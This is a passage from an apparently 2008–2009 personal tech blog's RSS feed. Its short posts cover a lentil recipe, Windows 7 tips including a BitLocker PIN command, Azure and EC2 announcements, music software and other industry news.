&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;½ tsp ground turmeric (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/turmeric.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Haldi
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;½ tsp paprika (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/paprika.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lal Mirch
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;10 curry leaves (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/curry.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kadi Patta
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;300g ripe tomatoes, peeled and chopped&lt;/li&gt;
&lt;li&gt;2 tsp caster sugar&lt;/li&gt;
&lt;li&gt;½ tsp fenugreek (optional) (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/fenugreek.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Methi seeds
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;1 pinch asafoetida (optional) (&lt;a
	
		href = &#34;http://www.pataks.co.uk/cooking/spices/asafoetida.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hing
	&lt;/span&gt;
&lt;/a&gt; in Hindi)&lt;/li&gt;
&lt;li&gt;Salt&lt;/li&gt;
&lt;li&gt;150g Greek yogurt&lt;/li&gt;
&lt;li&gt;75g finely diced cucumber&lt;/li&gt;
&lt;li&gt;1½ tbsp olive oil&lt;/li&gt;
&lt;li&gt;70g unsalted butter (I skipped this)&lt;/li&gt;
&lt;li&gt;1½ tbsp lime juice&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Wash the lentils in plenty of water, drain and soak in 350ml of fresh water for 30 minutes.&lt;/li&gt;
&lt;li&gt;Cut the coriander bunch somewhere around its centre to get a leafy top half and a stem/root bottom half. Roughly chop the leaves.&lt;/li&gt;
&lt;li&gt;Put the stem half in the bowl of a food processor, add the onion, ginger, garlic and chilli - all roughly broken - and pulse a few times to chop up without turning into a paste.&lt;/li&gt;
&lt;li&gt;Put the mustard seeds in a heavy-based pot and place over medium heat. When they begin to pop, add the onion mix and sunflower oil, stir and cook on low heat for 7 minutes.&lt;/li&gt;
&lt;li&gt;Add the spices and curry leaves, and continue cooking and stirring for 3-4 minutes.&lt;/li&gt;
&lt;li&gt;Now add the lentils and their soaking water, the tomatoes, sugar, fenugreek, asafoetida and a pinch of salt.&lt;/li&gt;
&lt;li&gt;Cover and simmer for about 30 minutes, until the lentils are fully cooked.&lt;/li&gt;
&lt;li&gt;Before serving, whisk together the yogurt, cucumber, oil and some salt.&lt;/li&gt;
&lt;li&gt;Stir into the lentils the butter, lime juice and chopped coriander leaves, taste and season generously with salt. I skipped the butter as there was enough oil originally put.&lt;/li&gt;
&lt;li&gt;Divide into bowls, spoon yogurt on top and garnish with coriander.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here are the results (Yum):&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/IMG_2911_thumb.jpg&#34; alt=&#34;IMG_2911&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Exceptions Management (or lack of it)</title>
      <link>/post/2009/02/exceptions-management-or-lack-of-it/</link>
      <pubDate>Tue, 03 Feb 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/02/exceptions-management-or-lack-of-it/</guid>
      <description>&lt;p&gt;A good example of what not to do.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Picture1_thumb.png&#34; alt=&#34;Picture 1&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Code is King! Role of a Software Architect</title>
      <link>/post/2009/01/code-is-king-role-of-a-software-architect/</link>
      <pubDate>Tue, 27 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/code-is-king-role-of-a-software-architect/</guid>
      <description>&lt;p&gt;I was looking for something else and stumbled upon &lt;a
	
		href = &#34;http://www.bluebytesoftware.com/blog/2008/10/02/AFewThoughtsOnTheRoleOfSoftwareArchitects.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post
	&lt;/span&gt;
&lt;/a&gt; from Joe where he lists the qualities that makes up a “good architect” (despite the feelings that have been expressed &lt;a
	
		href = &#34;/post/2007/05/definition-of-a-typical-architect/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		to me in the past
	&lt;/span&gt;
&lt;/a&gt;). I have to agree with him and am quite pleased to see that a “typical” Avanade architect would fit the bill. 😄&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inspire and empower people to do their best work.&lt;/li&gt;
&lt;li&gt;Oversight, but not dictatorship.&lt;/li&gt;
&lt;li&gt;Taste is a hard thing to measure, but is invaluable.&lt;/li&gt;
&lt;li&gt;Write code and get your hands dirty.&lt;/li&gt;
&lt;li&gt;The power of the dyad: know your weaknesses.&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;s for the customer, not you.&lt;/li&gt;
&lt;li&gt;Admit when you&amp;rsquo;re wrong, fall on your sword, and then fix it.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Problems causing Win 7 to shutdown slowly</title>
      <link>/post/2009/01/problems-causing-win-7-to-shutdown-slowly/</link>
      <pubDate>Tue, 27 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/problems-causing-win-7-to-shutdown-slowly/</guid>
      <description>&lt;p&gt;I am having issues with Win 7 – keeps hanging (will post that another time); but I like the irony of things causing this (see screen show below).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt; &lt;/p&gt;
&lt;p&gt;BTW, if you can get to the Performance Information and Tools via Control Panel =&amp;gt; All Control Panel Items =&amp;gt;Performance Information and Tools =&amp;gt; Advanced Tools.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Enabling Bitlocker Pin on Win 7</title>
      <link>/post/2009/01/enabling-bitlocker-pin-on-win-7/</link>
      <pubDate>Fri, 16 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/enabling-bitlocker-pin-on-win-7/</guid>
      <description>&lt;p&gt;You should be using &lt;a
	
		href = &#34;http://www.microsoft.com/windows/windows-vista/features/bitlocker.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bitlocker
	&lt;/span&gt;
&lt;/a&gt; on your machine (which btw is faster on Win 7 compared to Vista). When I enabled this on my laptop running Win 7 – I did not get the option to also add a PIN – not sure if I did something wrong or by default it does not ask for it.&lt;/p&gt;
&lt;p&gt;In any case, if you also want to add the a PIN on boot up then you can use the following command in a command prompt or power shell (with admin privileges) to enable this. Of course replace the “c:” with the drive you want to do this for.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;manage-bde -protectors -add c: -TPMAndPIN&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New Azure SDK</title>
      <link>/post/2009/01/new-azure-sdk/</link>
      <pubDate>Fri, 16 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/new-azure-sdk/</guid>
      <description>&lt;p&gt;Microsoft has released a new Jan CTP of the &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=80e3eabf-0507-4560-aeb6-d31e9a70a0a6&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure SDK
	&lt;/span&gt;
&lt;/a&gt; and the &lt;a
	
		href = &#34;http://go.microsoft.com/fwlink/?LinkId=128752&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure tools for VS.NET
	&lt;/span&gt;
&lt;/a&gt;. You can get all the links from the &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/vstudio/cc972640.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cloud Computing Tools
	&lt;/span&gt;
&lt;/a&gt; and of course the &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/azure/cc994380.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure MSDN page
	&lt;/span&gt;
&lt;/a&gt;. I would recommend you get the new SDK instead of using the one released earlier.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5253&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Top 10 Technology Priorities (for 2009)</title>
      <link>/post/2009/01/top-10-technology-priorities-for-2009/</link>
      <pubDate>Fri, 16 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/top-10-technology-priorities-for-2009/</guid>
      <description>&lt;p&gt;Gartner has published CIO’s top 10 Technology priorities for 2009, which are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Business intelligence&lt;/li&gt;
&lt;li&gt;Enterprise applications (ERP, CRM and others)&lt;/li&gt;
&lt;li&gt;Servers and storage technologies (virtualization)&lt;/li&gt;
&lt;li&gt;Legacy application modernization&lt;/li&gt;
&lt;li&gt;Collaboration technologies&lt;/li&gt;
&lt;li&gt;Networking, voice and data communications&lt;/li&gt;
&lt;li&gt;Technical infrastructure&lt;/li&gt;
&lt;li&gt;Security technologies&lt;/li&gt;
&lt;li&gt;Service-oriented applications and architecture&lt;/li&gt;
&lt;li&gt;Document management&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5255&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CGI Blues</title>
      <link>/post/2009/01/cgi-blues/</link>
      <pubDate>Thu, 15 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/cgi-blues/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/1456217286_aa7ec5915d.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;{&lt;a
	
		href = &#34;http://blogs.msdn.com/philwheat/archive/2009/01/14/ok-nothing-to-do-with-tech-but-i-had-to-post-it-in-honor-of-the-new-episodes-coming-out-on-friday.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		via Phil Wheat
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5252&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>“Helpful” Error of the day</title>
      <link>/post/2009/01/helpful-error-of-the-day/</link>
      <pubDate>Tue, 13 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/helpful-error-of-the-day/</guid>
      <description>&lt;p&gt;Haven’t seen this one:&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/HelpfulErroroftheday_84D5/clip_image002.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/clip_image002_thumb.jpg&#34; alt=&#34;clip_image002&#34;/&gt;
        &lt;figcaption&gt;clip_image002&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>New Way to listen to Radio</title>
      <link>/post/2009/01/new-way-to-listen-to-radio/</link>
      <pubDate>Sun, 04 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/new-way-to-listen-to-radio/</guid>
      <description>&lt;p&gt;I always have been a huge fan of &lt;a
	
		href = &#34;http://www.screamer-radio.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Screamer Radio
	&lt;/span&gt;
&lt;/a&gt; and still cannot recommend it enough! There are a couple of other ways as well if you prefer that.&lt;/p&gt;
&lt;p&gt;One is the new open source application called &lt;a
	
		href = &#34;http://getsongbird.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Songbird
	&lt;/span&gt;
&lt;/a&gt; which is my choice for listening to Music. Songbird is from the same guys who wrote Firefox and the quality is pretty good. I particularly like the &lt;a
	
		href = &#34;http://addons.songbirdnest.com/addon/1230&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lyrics add-on
	&lt;/span&gt;
&lt;/a&gt; which displays lyrics of the song you are listening to. &lt;a
	
		href = &#34;http://addons.songbirdnest.com/addon/106&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Another add-on
	&lt;/span&gt;
&lt;/a&gt; can &lt;a
	
		href = &#34;http://www.urbandictionary.com/define.php?term=Scrobble&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		scrobble
	&lt;/span&gt;
&lt;/a&gt; to &lt;a
	
		href = &#34;http://www.last.fm/user/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Last.fm
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another option is to use &lt;a
	
		href = &#34;http://www.radiobeta.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		RadioBeta
	&lt;/span&gt;
&lt;/a&gt; which uses Ajax and you need to have that window open in your browser.  The search option is cool and it allows you to search for radios and themes that you otherwise won’t probably think of. One of the stations I like listening to is “All California Rock”. I think there is a lot of scope of improvement – maybe they should create an add-in for Songbird and allow on to view lyrics, etc.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5250&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Happy New Year 2009</title>
      <link>/post/2009/01/happy-new-year-2009/</link>
      <pubDate>Thu, 01 Jan 2009 00:00:00 +0000</pubDate>
      
      <guid>/post/2009/01/happy-new-year-2009/</guid>
      <description>&lt;p&gt;Hope the year is good to all of you!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5249&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Joke</title>
      <link>/post/2008/12/joke/</link>
      <pubDate>Sun, 28 Dec 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/12/joke/</guid>
      <description>&lt;p&gt;I got this from a fellow Avanut, and I thought it was quite hilarious … however a few around me did not think so – they of course don’t have any taste. 😉&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A byte walks into a bar and orders a drink. Bartender asks him &amp;ldquo;What&amp;rsquo;s wrong?&amp;rdquo; Byte says &amp;ldquo;Parity error.&amp;rdquo; Bartender nods and says &amp;ldquo;Yeah, I thought you looked a bit off.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Live Writer 2009 RC Released</title>
      <link>/post/2008/12/live-writer-2009-rc-released/</link>
      <pubDate>Sun, 28 Dec 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/12/live-writer-2009-rc-released/</guid>
      <description>&lt;p&gt;Live Writer’s new &lt;a
	
		href = &#34;http://windowslivewriter.spaces.live.com/blog/cns!D85741BB5E0BE8AA!1581.entry&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		2009 Release Candidate is available for download
	&lt;/span&gt;
&lt;/a&gt;. I continue to be impressed by this editor and I cannot recommend it enough. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On Security</title>
      <link>/post/2008/11/on-security/</link>
      <pubDate>Wed, 12 Nov 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/11/on-security/</guid>
      <description>&lt;p&gt;Security is a &lt;em&gt;Social Construction&lt;/em&gt; - &lt;a
	
		href = &#34;http://www.softeng.ox.ac.uk/Andrew.Martin/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Andrew Martin
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5242&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>PDC Sessions</title>
      <link>/post/2008/11/pdc-sessions/</link>
      <pubDate>Tue, 11 Nov 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/11/pdc-sessions/</guid>
      <description>&lt;p&gt;Irrespective if you attended PDC or not and want to get your hands on the ppt’s and/or video of each of the sessions then Mike has a &lt;a
	
		href = &#34;http://blogs.msdn.com/mswanson/pages/PDC2008Sessions.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cool post listing each of the sessions
	&lt;/span&gt;
&lt;/a&gt; including the friendly name instead of the non-helpful code.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5241&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Got my Azure accounts Provisioned</title>
      <link>/post/2008/10/got-my-azure-accounts-provisioned/</link>
      <pubDate>Thu, 30 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/got-my-azure-accounts-provisioned/</guid>
      <description>&lt;p&gt;Got all my tokens and got all the accounts up and running. Now need to write some code. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/GotmyAzureaccountsProvisioned_3641/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>EC2 for Windows now available</title>
      <link>/post/2008/10/ec2-for-windows-now-available/</link>
      <pubDate>Sun, 26 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/ec2-for-windows-now-available/</guid>
      <description>&lt;p&gt;Amazon’s &lt;a
	
		href = &#34;http://aws.amazon.com/windows/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EC2 is now available for Windows
	&lt;/span&gt;
&lt;/a&gt; – squeaking in just before PDC was to kick off. This is quite exciting as it allows you to scale out and try something at a very low cost on Windows.&lt;/p&gt;
&lt;p&gt;If you want to manage your EC2 environment, you can use the Firefox add-in called &lt;a
	
		href = &#34;http://developer.amazonwebservices.com/connect/entry.jspa?externalID=609&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Elasticfox
	&lt;/span&gt;
&lt;/a&gt;; there is also a &lt;a
	
		href = &#34;http://developer.amazonwebservices.com/connect/entry.jspa?externalID=1673&amp;amp;categoryID=85&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		C# library
	&lt;/span&gt;
&lt;/a&gt; which wraps EC2’s web service API making them easier to consume from .NET.&lt;/p&gt;
&lt;p&gt;Amazon is also going to &lt;a
	
		href = &#34;http://aws.amazon.com/contact-us/new-features-for-amazon-ec2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		release more features
	&lt;/span&gt;
&lt;/a&gt; (fairly soon) across the board – load balancing, auto scaling, monitoring, etc.&lt;/p&gt;
&lt;p&gt;It will be interesting to see the competitor offerings from Microsoft – should get public details at PDC.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5239&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>PDC’ing</title>
      <link>/post/2008/10/pdc-ing/</link>
      <pubDate>Fri, 24 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/pdc-ing/</guid>
      <description>&lt;p&gt;I am going to be at PDC – anyone else I know going to be there? If you are reading this, and are going to be there then it is quite likely you know how to ping me and let me know you going. It also might be a good idea to check out the &lt;a
	
		href = &#34;http://thespiderking.com/wordpress/?p=42&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Devil’s field guide to the PDC
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I will be blogging from there – but not during the sessions – need to ensure I am not distracted – especially as the &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2008/10/10/the-microsoft-avalanche.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avalanche is coming
	&lt;/span&gt;
&lt;/a&gt;! Expect to get some posts later in the evenings.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5237&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>64 Core, 64 GB, need I ask more?</title>
      <link>/post/2008/10/64-core-64-gb-need-i-ask-more/</link>
      <pubDate>Tue, 21 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/64-core-64-gb-need-i-ask-more/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.cray.com/About/History.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cray
	&lt;/span&gt;
&lt;/a&gt; (yep those guys are still alive and kicking – I know, I know I am as surprised as you). In any case these clever guys have released a “&lt;a
	
		href = &#34;http://www.cray.com/Products/CX1.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		personal super computer
	&lt;/span&gt;
&lt;/a&gt;” called &lt;a
	
		href = &#34;http://www.cray.com/Products/CX1.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CX1
	&lt;/span&gt;
&lt;/a&gt; which can have 64 Cores and address 64 GB of RAM and can run either &lt;a
	
		href = &#34;http://www.microsoft.com/hpc/en/us/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows HPC 2008 Server
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://www.redhat.com/rhel/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		RHEL
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now, once I have stopped drooling, just need $30K (or so) to get this sweet sweet machine at home. 😁&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Is Cloud Computing workable?</title>
      <link>/post/2008/10/is-cloud-computing-workable/</link>
      <pubDate>Tue, 21 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/is-cloud-computing-workable/</guid>
      <description>&lt;p&gt;I think &lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/blog/2008/oct/20/google-cloudcomputing&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post
	&lt;/span&gt;
&lt;/a&gt; brings up some interesting aspects of cloud computing and the scenarios within which you should look at to use this. If you are an enterprise then this might be more of a moot point – but the fact is one cannot take things for granted.&lt;/p&gt;
&lt;p&gt;It is quite timely as I was thinking of syncing up Meenakshi’s calendar from Outlook to Google. Her laptop had crashed and she was without her calendar – interestingly she missed not having access to her calendar more than her emails – but that is another post for another day).&lt;/p&gt;
&lt;p&gt;I think I will skip syncing it up Google Calendar now and instead use one of the other services I get from where this domain is hosted.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5236&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Win 7 called Win 7</title>
      <link>/post/2008/10/win-7-called-win-7/</link>
      <pubDate>Tue, 14 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/win-7-called-win-7/</guid>
      <description>&lt;p&gt;Not since the days of &lt;a
	
		href = &#34;http://toastytech.com/guis/nt4svlogo.gif&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NT 4.0
	&lt;/span&gt;
&lt;/a&gt; (which stood for New Technology btw) has this happened that Microsoft is calling a Windows version what is really is – so &lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/blog/2008/oct/14/windows-7-microsoft&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows 7 will be called Windows 7
	&lt;/span&gt;
&lt;/a&gt;! I say Yay! It is about time the stop all the malarkey about funky code names and boring “release names”.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5234&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Microsoft “Avalanche”</title>
      <link>/post/2008/10/the-microsoft-avalanche/</link>
      <pubDate>Fri, 10 Oct 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/10/the-microsoft-avalanche/</guid>
      <description>&lt;p&gt;No, I am not referring to any new codename or product but rather talking about the slew of new products and technologies that are in the works and coming out in the near future from Microsoft. Below is a list of things (in no particular order) which either were just released or in the pipeline.&lt;/p&gt;
&lt;p&gt;I wish I could talk more about some of these – maybe after PDC when most of these are out in the public domain and the NDA’s are relaxed – until then all the links are only to material already in the public domain. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/windowsserver2008/en/us/overview.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Server 2008
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://bink.nu/news/windows-server-2008-r2-planned-for-2009.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
